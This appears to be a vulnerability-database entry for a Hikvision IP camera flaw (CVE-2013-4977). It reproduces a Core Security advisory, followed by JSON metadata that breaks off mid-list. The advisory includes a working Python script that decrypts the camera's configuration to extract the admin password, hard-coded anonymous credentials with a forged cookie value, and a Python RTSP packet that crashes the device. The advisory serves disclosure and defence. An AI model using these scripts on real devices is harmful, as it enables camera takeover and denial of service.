VAR-201403-0122
Vulnerability from variot - Updated: 2025-04-13 22:44Buffer overflow in the RTSP Packet Handler in Hikvision DS-2CD7153-E IP camera with firmware 4.1.0 b130111 (Jan 2013), and possibly other devices, allows remote attackers to cause a denial of service (device crash and reboot) and possibly execute arbitrary code via a long string in the Range header field in an RTSP transaction. Hikvision DS-2CD7153-E IP Camera is a webcam product. Hikvision DS-2CD7153-E IP camera is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. An attacker can exploit this issue to execute arbitrary code within the context of the affected device. Failed exploit attempts may result in a denial-of-service condition. Hikvision DS-2CD7153-E IP camera running firmware 4.1.0 b130111 is vulnerable; other devices may also be affected. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/
Hikvision IP Cameras Multiple Vulnerabilities
- Advisory Information
Title: Hikvision IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0708 Advisory URL: http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities Date published: 2013-08-06 Date of last update: 2013-08-06 Vendors contacted: Hikvision Release mode: User release
- Vulnerability Information
Class: Input validation error [CWE-20], Use of Hard-coded Credentials [CWE-798], Buffer overflow [CWE-119] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977
- [CVE-2013-4975] To obtain the admin password from a non-privileged user account.
- [CVE-2013-4976] To bypass the anonymous user authentication using hard-coded credentials (even if the built-in anonymous user account was explicitly disabled).
-
Vulnerable Packages
.
- Vendor Information, Solutions and Workarounds
There was no official answer from Hikvision after several attempts (see [Sec. 8]); contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to internet unless absolutely necessary. Have at least one proxy filtering HTTP requests to '/PSIA/System/ConfigurationData'. Have at least one proxy filtering the 'Range' parameter in RTSP requests.
- Credits
. [CVE-2013-4975] was discovered and researched by Alberto Solino from Core Security. [CVE-2013-4976] was discovered and researched by Alejandro Rodriguez from Core Exploit QA Team. [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research by Anibal Sacco and Federico Muttis from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
7.1. Privilege Escalation through ConfigurationData Request
[CVE-2013-4975] The following script allows obtaining the administrator password by requesting the camera's configuration data and breaking its trivial encryption. A valid user account is needed to launch the attack.
/----- import urllib2 import base64 import argparse import sys
def decrypt(config):
# Important: We're assuming the last 4 bytes of the file's plaintext
are
# zero, hence there we have the key. There are other easy ways to
# calculate this tho.
print '[] Decrypting config'
key = config[-4:]
plaintext = ''
for i in range(len(config)/4):
for j in range(4):
plaintext += chr(ord(config[i4+j]) ^ ord(key[j]))
return plaintext
def attack(target, username, password, output): base_url = 'http://' + target + '/PSIA/System/ConfigurationData' headers = { 'Authorization': 'Basic ' + base64.b64encode('%s:%s' %(username,password)) } print '[] Attacking %s ' % target req = urllib2.Request(base_url, None, headers) try: response = urllib2.urlopen(req) config = response.read() except Exception, e: print e return plaintext = decrypt(config) print '[] Writing output file %s' % output f = open(output, 'w') f.write(plaintext) f.close() user = plaintext[0x45A0:0x45A0+32] pwd = plaintext[0x45C0:0x45C0+16] print 'Probably the admin user is %s and the password is %s' % (user, pwd) print "If it doesn't make any sense, just do a strings of the output file"
if name == 'main': parser = argparse.ArgumentParser() parser.add_argument('target', action = 'store', help = 'target host to attack') parser.add_argument('username', action = 'store', help = 'username to be used to authenticate against target') parser.add_argument('password', action = 'store', help = "username's password") parser.add_argument('output', action = 'store', help = "filename to write the plaintext config") if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() attack(options.target, options.username, options.password, options.output) -----/
7.2. Anonymous User Authentication Bypass
[CVE-2013-4976] The camera has a built-in anonymous account intended for guest users, but even when the feature is disabled it could be bypassed due to the usage of hardcoded credentials:
/-----
user: anonymous
password: \177\177\177\177\177\177
-----/
The bypass cannot be used directly through the login form but rather by forging a cookie:
- Load the login page to generate the initial cookies of the camera's webapp.
- Use your preferred tool (for example Firebug on Firefox) to create a cookie with the name 'userInfoXX' (replace XX with the port where the webserver is running i.e. 'userInfo80'), path '/' and value 'YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw=='; this is the tuple 'user:pass' encoded in base64 explained above.
- Request the URI 'http://doc/pages/main.asp', a page that should not be accessed without authentication if the anonymous user is disabled. There are several references to those hardcoded credentials in the cgis, but in particular the following snippet was found in '/doc/pages/scripts/login.js'::
/-----
107: function DoLogin(){
(...)
166:
$.cookie('userInfo'+m_lHttpPort,m_szUserPwdValue==""?Base64.encode("anonymous:\177\177\177\177\177\177"
):m_szUserPwdValue);
(...)
-----/
This bypass is not completely useful per se since all the interesting requests are actually handled by the PSIA (Physical Security Interoperability Alliance's) API. Nevertheless, if it is ever combined with a privilege escalation it would allow remote attacker to control the camera without proper credentials.
7.3. Buffer Overflow in the RTSP Packet Handler
[CVE-2013-4977] The following Python script sends a specially crafted packet that triggers a buffer overrun condition when handling the 'Range' parameter of a RTSP transaction. As a result, the process handling the communication crashes and the Watchdog service issues a full restart. No authentication is required to exploit this vulnerability and it would possible lead to a remote code execution.
/----- import socket
HOST = '192.168.1.100'
PORT = 554
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST trigger_pkt += "CSeq: 7\r\n" trigger_pkt += "Range: npt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\r\n" trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media v2010.02.10)\r\n\r\n"
s.sendall(trigger_pkt)
print "Packet sent"
data = s.recv(1024)
print 'Received', repr(data), "\r\n"
s.close()
-----/
- Report Timeline
. 2013-07-08: Core attempts to report the vulnerability using the Hikvision official contact addresses [3]. No reply received. 2013-07-15: Core attempts to contact vendor. 2013-07-22: Core attempts to contact vendor. 2013-07-30: Core attempts to contact vendor. 2013-08-06: Advisory CORE-2013-0708 published as 'user release'.
- References
[1] Hikvision DS-2CD7153-E Network Mini Dome Camera, http://www.hikvision.com/en/products_show.asp?id=506. [3] Hikvision contact page, http://www.hikvision.com/En/US/contactHikvision.asp.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201403-0122",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "ds-2cd7153-e",
"scope": "eq",
"trust": 1.6,
"vendor": "hikvision",
"version": "4.1.0_b130111"
},
{
"model": "ds-2cd7153-e",
"scope": "eq",
"trust": 1.0,
"vendor": "hikvision",
"version": null
},
{
"model": "ds-2cd7153-e",
"scope": null,
"trust": 0.8,
"vendor": "hikvision digital",
"version": null
},
{
"model": "ds-2cd7153-e",
"scope": "eq",
"trust": 0.8,
"vendor": "hikvision digital",
"version": "4.1.0 b130111 (jan 2013)"
},
{
"model": "hikvision",
"scope": null,
"trust": 0.6,
"vendor": "hikvision",
"version": null
},
{
"model": "digital technology ds-2cd7153-e b130111",
"scope": "eq",
"trust": 0.3,
"vendor": "hikvision",
"version": "4.1.0"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "BID",
"id": "61642"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:hikvision:ds-2cd7153-e",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:hikvision:ds-2cd7153-e_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Anibal Sacco",
"sources": [
{
"db": "BID",
"id": "61642"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
}
],
"trust": 0.9
},
"cve": "CVE-2013-4977",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2013-4977",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-11935",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-64979",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-4977",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2013-4977",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2013-11935",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201308-117",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-64979",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Buffer overflow in the RTSP Packet Handler in Hikvision DS-2CD7153-E IP camera with firmware 4.1.0 b130111 (Jan 2013), and possibly other devices, allows remote attackers to cause a denial of service (device crash and reboot) and possibly execute arbitrary code via a long string in the Range header field in an RTSP transaction. Hikvision DS-2CD7153-E IP Camera is a webcam product. Hikvision DS-2CD7153-E IP camera is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary-checks on user-supplied data. \nAn attacker can exploit this issue to execute arbitrary code within the context of the affected device. Failed exploit attempts may result in a denial-of-service condition. \nHikvision DS-2CD7153-E IP camera running firmware 4.1.0 b130111 is vulnerable; other devices may also be affected. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nHikvision IP Cameras Multiple Vulnerabilities\n\n\n1. *Advisory Information*\n\nTitle: Hikvision IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0708\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities\nDate published: 2013-08-06\nDate of last update: 2013-08-06\nVendors contacted: Hikvision\nRelease mode: User release\n\n\n2. *Vulnerability Information*\n\nClass: Input validation error [CWE-20], Use of Hard-coded Credentials\n[CWE-798], Buffer overflow [CWE-119]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-4975, CVE-2013-4976, CVE-2013-4977\n\n\n3. [CVE-2013-4975] To obtain the admin password from a non-privileged\nuser account. \n 2. [CVE-2013-4976] To bypass the anonymous user authentication using\nhard-coded credentials (even if the built-in anonymous user account was\nexplicitly disabled). \n 3. \n\n\n4. *Vulnerable Packages*\n\n . \n\n\n5. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Hikvision after several attempts (see\n[Sec. 8]); contact vendor for further information. Some mitigation\nactions may be:\n\n . Do not expose the camera to internet unless absolutely necessary. Have at least one proxy filtering HTTP requests to\n\u0027/PSIA/System/ConfigurationData\u0027. Have at least one proxy filtering the \u0027Range\u0027 parameter in RTSP\nrequests. \n\n\n6. *Credits*\n\n . [CVE-2013-4975] was discovered and researched by Alberto Solino\nfrom Core Security. [CVE-2013-4976] was discovered and researched by Alejandro\nRodriguez from Core Exploit QA Team. [CVE-2013-4977] was discovered Anibal Sacco. Analysis and research\nby Anibal Sacco and Federico Muttis from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando\nMiranda from Core Advisories Team. \n\n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *Privilege Escalation through ConfigurationData Request*\n\n[CVE-2013-4975] The following script allows obtaining the administrator\npassword by requesting the camera\u0027s configuration data and breaking its\ntrivial encryption. A valid user account is needed to launch the attack. \n\n/-----\nimport urllib2\nimport base64\nimport argparse\nimport sys\n\ndef decrypt(config):\n # Important: We\u0027re assuming the last 4 bytes of the file\u0027s plaintext\nare \n # zero, hence there we have the key. There are other easy ways to\n # calculate this tho. \n print \u0027[*] Decrypting config\u0027\n key = config[-4:]\n plaintext = \u0027\u0027\n for i in range(len(config)/4):\n for j in range(4):\n plaintext += chr(ord(config[i*4+j]) ^ ord(key[j]))\n return plaintext\n\ndef attack(target, username, password, output):\n base_url = \u0027http://\u0027 + target + \u0027/PSIA/System/ConfigurationData\u0027\n headers = { \u0027Authorization\u0027: \u0027Basic \u0027 + base64.b64encode(\u0027%s:%s\u0027\n%(username,password)) }\n print \u0027[*] Attacking %s \u0027 % target\n req = urllib2.Request(base_url, None, headers)\n try:\n response = urllib2.urlopen(req)\n config = response.read()\n except Exception, e:\n print e\n return\n plaintext = decrypt(config)\n print \u0027[*] Writing output file %s\u0027 % output\n f = open(output, \u0027w\u0027)\n f.write(plaintext)\n f.close()\n user = plaintext[0x45A0:0x45A0+32]\n pwd = plaintext[0x45C0:0x45C0+16]\n print \u0027Probably the admin user is %s and the password is %s\u0027 %\n(user, pwd)\n print \"If it doesn\u0027t make any sense, just do a strings of the output\nfile\"\n \nif __name__ == \u0027__main__\u0027:\n parser = argparse.ArgumentParser()\n parser.add_argument(\u0027target\u0027, action = \u0027store\u0027, help = \u0027target host\nto attack\u0027)\n parser.add_argument(\u0027username\u0027, action = \u0027store\u0027, help = \u0027username\nto be used to authenticate against target\u0027)\n parser.add_argument(\u0027password\u0027, action = \u0027store\u0027, help = \"username\u0027s\npassword\")\n parser.add_argument(\u0027output\u0027, action = \u0027store\u0027, help = \"filename to\nwrite the plaintext config\")\n if len(sys.argv) == 1:\n parser.print_help()\n sys.exit(1)\n options = parser.parse_args()\n attack(options.target, options.username, options.password,\noptions.output)\n-----/\n\n\n7.2. *Anonymous User Authentication Bypass*\n\n[CVE-2013-4976] The camera has a built-in anonymous account intended for\nguest users, but even when the feature is disabled it could be bypassed\ndue to the usage of hardcoded credentials:\n\n/-----\nuser: anonymous\npassword: \\177\\177\\177\\177\\177\\177 \n-----/\n\nThe bypass cannot be used directly through the login form but rather by\nforging a cookie:\n\n 1. Load the login page to generate the initial cookies of the\ncamera\u0027s webapp. \n 2. Use your preferred tool (for example Firebug on Firefox) to create\na cookie with the name \u0027userInfoXX\u0027 (replace XX with the port where the\nwebserver is running i.e. \u0027userInfo80\u0027), path \u0027/\u0027 and value\n\u0027YW5vbnltb3VzOlwxNzdcMTc3XDE3N1wxNzdcMTc3XDE3Nw==\u0027; this is the tuple\n\u0027user:pass\u0027 encoded in base64 explained above. \n 3. Request the URI \u0027http:/\u003cipcam\u003e/doc/pages/main.asp\u0027, a page that\nshould not be accessed without authentication if the anonymous user is\ndisabled. \nThere are several references to those hardcoded credentials in the cgis,\nbut in particular the following snippet was found in\n\u0027/doc/pages/scripts/login.js\u0027::\n\n/-----\n107: function DoLogin(){\n(...)\n166:\n$.cookie(\u0027userInfo\u0027+m_lHttpPort,m_szUserPwdValue==\"\"?Base64.encode(\"anonymous:\\177\\177\\177\\177\\177\\177\" \n):m_szUserPwdValue);\n(...)\n-----/\n\nThis bypass is not completely useful per se since all the interesting\nrequests are actually handled by the PSIA (Physical Security\nInteroperability Alliance\u0027s) API. Nevertheless, if it is ever combined\nwith a privilege escalation it would allow remote attacker to control\nthe camera without proper credentials. \n\n\n7.3. *Buffer Overflow in the RTSP Packet Handler*\n\n[CVE-2013-4977] The following Python script sends a specially crafted\npacket that triggers a buffer overrun condition when handling the\n\u0027Range\u0027 parameter of a RTSP transaction. As a result, the process\nhandling the communication crashes and the Watchdog service issues a\nfull restart. No authentication is required to exploit this\nvulnerability and it would possible lead to a remote code execution. \n\n/-----\nimport socket\n\nHOST = \u0027192.168.1.100\u0027\nPORT = 554 \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\n\ntrigger_pkt = \"PLAY rtsp://%s/ RTSP/1.0\\r\\n\" % HOST\ntrigger_pkt += \"CSeq: 7\\r\\n\"\ntrigger_pkt += \"Range:\nnpt=Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9aLSaLSaLS\\r\\n\"\ntrigger_pkt += \"User-Agent: VLC media player (LIVE555 Streaming Media\nv2010.02.10)\\r\\n\\r\\n\"\n\ns.sendall(trigger_pkt)\nprint \"Packet sent\"\ndata = s.recv(1024)\nprint \u0027Received\u0027, repr(data), \"\\r\\n\"\ns.close() \n-----/\n\n\n8. *Report Timeline*\n\n. 2013-07-08:\nCore attempts to report the vulnerability using the Hikvision official\ncontact addresses [3]. No reply received. 2013-07-15:\nCore attempts to contact vendor. 2013-07-22:\nCore attempts to contact vendor. 2013-07-30:\nCore attempts to contact vendor. 2013-08-06:\nAdvisory CORE-2013-0708 published as \u0027user release\u0027. \n\n\n9. *References*\n\n[1] Hikvision DS-2CD7153-E Network Mini Dome Camera,\nhttp://www.hikvision.com/en/products_show.asp?id=506. \n[3] Hikvision contact page,\nhttp://www.hikvision.com/En/US/contactHikvision.asp. \n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-4977"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "BID",
"id": "61642"
},
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "PACKETSTORM",
"id": "122718"
}
],
"trust": 2.61
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-64979",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-64979"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-4977",
"trust": 3.6
},
{
"db": "BID",
"id": "61642",
"trust": 2.6
},
{
"db": "PACKETSTORM",
"id": "122718",
"trust": 1.8
},
{
"db": "XF",
"id": "86292",
"trust": 1.4
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2013-11935",
"trust": 0.6
},
{
"db": "XF",
"id": "2",
"trust": 0.6
},
{
"db": "BUGTRAQ",
"id": "20130806 CORE-2013-0708 - HIKVISION IP CAMERAS MULTIPLE VULNERABILITIES",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "EXPLOIT-DB",
"id": "27402",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-64979",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "BID",
"id": "61642"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "PACKETSTORM",
"id": "122718"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"id": "VAR-201403-0122",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "VULHUB",
"id": "VHN-64979"
}
],
"trust": 1.8
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 0.6
},
{
"category": [
"camera device"
],
"sub_category": "IP camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
}
]
},
"last_update_date": "2025-04-13T22:44:32.790000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "DS-2CD7153-E",
"trust": 0.8,
"url": "http://www.hikvision.com/en/products_show.asp?id=506"
},
{
"title": "Hikvision DS-2CD7153-E IP Camera Remote Buffer Overflow Vulnerability Patch",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/54372"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-119",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.7,
"url": "http://www.securityfocus.com/bid/61642"
},
{
"trust": 1.7,
"url": "http://archives.neohapsis.com/archives/bugtraq/2013-08/0046.html"
},
{
"trust": 1.7,
"url": "http://packetstormsecurity.com/files/122718/hikvision-ip-cameras-overflow-bypass-privilege-escalation.html"
},
{
"trust": 1.4,
"url": "http://xforce.iss.net/xforce/xfdb/86292"
},
{
"trust": 1.1,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/86292"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-4977"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2013-4977"
},
{
"trust": 0.6,
"url": "http://corelabs.coresecurity.com/index.php?module=wiki\u0026action=view\u0026type=advisory\u0026name=core-2013-0708"
},
{
"trust": 0.3,
"url": "http://www.hikvision.com/en/products_show.asp?id=506"
},
{
"trust": 0.3,
